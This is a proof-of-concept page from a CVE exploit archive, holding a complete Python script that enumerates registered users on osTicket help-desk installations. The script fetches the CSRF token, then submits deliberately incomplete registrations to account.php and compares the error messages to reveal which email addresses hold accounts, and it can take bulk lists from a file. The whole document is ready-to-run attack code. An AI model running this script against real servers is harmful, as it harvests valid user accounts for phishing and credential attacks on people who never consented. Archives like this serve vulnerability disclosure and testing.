4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / osticket_registered_user_enum.py PY
#!/usr/bin/env python3
"""
osTicket Registered User Enumeration
=====================================
Attempts to fake register one or more user accounts via the account.php endpoint to determine if they already exist.

Usage: python osticket_registered_user_enum.py <base_url> [email1] [email2...] [--file <path_to_file>]
Example: 
  python osticket_registered_user_enum.py http://osticket.example.com [email protected] [email protected] ...
  python osticket_registered_user_enum.py http://osticket.example.com --file emails.txt
"""

import sys
import re
import argparse
import random
import string
from urllib.parse import urljoin, urlparse
import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

# Suppress InsecureRequestWarning for self-signed certs
requests.packages.urllib3.disable_warnings()

class Colors:
    """ANSI color codes for terminal output"""
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKCYAN = '\033[96m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'

def print_banner():
    """Print script banner"""
    print(f"{Colors.HEADER}{Colors.BOLD}")
    print("=" * 70)
    print("osTicket Account Auto-Registration Script")
    print("=" * 70)
    print(f"{Colors.ENDC}")

def create_session():
    """Create a requests session with retry logic"""
    session = requests.Session()
    retry = Retry(total=3, backoff_factor=0.5, status_forcelist=[500, 502, 503, 504])
    adapter = HTTPAdapter(max_retries=retry)
    session.mount('http://', adapter)
    session.mount('https://', adapter)
    session.verify = False  # Ignore SSL certificate errors
    return session

def extract_csrf_token(content):
    """Extract __CSRFToken__ from HTML content"""
    match = re.search(r'name=["\']__CSRFToken__["\'][^>]*value=["\']([^"\']+)["\']', content)
    return match.group(1) if match else None

def generate_password(length=12):
    """Generate a random password with letters, digits, and symbols"""
    characters = string.ascii_letters + string.digits + string.punctuation
    return ''.join(random.choice(characters) for i in range(length))

def register_account(base_url, email, session):
    """
    Attempts to register a single account.
    Returns (success: bool, message: str)
    """
    print(f"\n{Colors.OKBLUE}[*] Attempting to register: {email}{Colors.ENDC}")
    account_url = urljoin(base_url, 'account.php')

    try:
        # 1. GET the page to get a valid session cookie and CSRF token
        print("    - Fetching registration form and CSRF token...")
        resp_get = session.get(account_url, verify=False)
        if resp_get.status_code != 200:
            return False, f"Failed to load account page (HTTP {resp_get.status_code})"

        content = resp_get.text
        csrf_token = extract_csrf_token(content)

        if not csrf_token:
            return False, "Could not find CSRF token. Is registration enabled?"

        # 2. Prepare registration data
        password = generate_password()
        # Derive a name from the email address
        name = email.split('@')[0].replace('.', ' ').title()

        payload = {
            'do': 'create',
            '__CSRFToken__': csrf_token,
            'name': 'somename',
            'email': email,
            'passwd1': password,
            'passwd2': '',
            'backend': 'client'
        }
        print(f"    - Submitting registration for user '{name}'...")

        # 3. POST the registration form
        resp_post = session.post(account_url, data=payload, verify=False)
        # 4. Analyze the response
        response_content = resp_post.text

        if "Errors configuring your profile." in response_content:
            return False, f"{Colors.WARNING}✗ Email {email} does not exist.{Colors.ENDC}"
        elif "Email already registered" in response_content:
            return False, f"{Colors.OKGREEN}✗ Email {email} exists.{Colors.ENDC}"
        else:
            print(response_content)
        
        return False, f"{Colors.FAIL}✗ Unexpected error, check response{Colors.ENDC}"

    except requests.RequestException as e:
        return False, f"{Colors.FAIL}✗ Network error: {e}{Colors.ENDC}"

def main():
    parser = argparse.ArgumentParser(
        description='Auto-register osTicket accounts.',
        epilog='Example: python enumerate_registered_users.py http://osticket.example.com [email protected]'
    )
    parser.add_argument('base_url', help='Base URL of the osTicket installation (e.g., http://osticket.example.com)')
    parser.add_argument('emails', nargs='*', help='One or more email addresses to check')
    parser.add_argument('--file', '-f', help='File containing a list of email addresses, one per line')
    parser.add_argument('--no-color', action='store_true', help='Disable colored output')

    args = parser.parse_args()

    if args.no_color:
        for attr in dir(Colors):
            if not attr.startswith('_'):
                setattr(Colors, attr, '')

    base_url = args.base_url
    if not base_url.endswith('/'):
        base_url += '/'

    parsed_url = urlparse(base_url)
    if not parsed_url.scheme or not parsed_url.netloc:
        print(f"{Colors.FAIL}[!] Invalid URL provided. Please include http:// or https://{Colors.ENDC}")
        sys.exit(1)

    emails_to_register = []
    if args.file:
        try:
            with open(args.file, 'r') as f:
                emails_from_file = [line.strip() for line in f if line.strip()]
                emails_to_register.extend(emails_from_file)
                print(f"{Colors.OKCYAN}[i] Loaded {len(emails_from_file)} email(s) from {args.file}{Colors.ENDC}")
        except FileNotFoundError:
            print(f"{Colors.FAIL}[!] Error: File not found at '{args.file}'{Colors.ENDC}")
            sys.exit(1)

    emails_to_register.extend(args.emails)

    if not emails_to_register:
        print(f"{Colors.FAIL}[!] No emails provided. Use positional arguments or the --file option.{Colors.ENDC}")
        parser.print_help()
        sys.exit(1)

    print_banner()
    print(f"Target: {Colors.BOLD}{base_url}{Colors.ENDC}")

    session = create_session()

    for email in emails_to_register:
        success, message = register_account(base_url, email, session)
        print(f"    {message}")

    print(f"\n{Colors.OKBLUE}[*] Script finished.{Colors.ENDC}")

if __name__ == '__main__':
    main()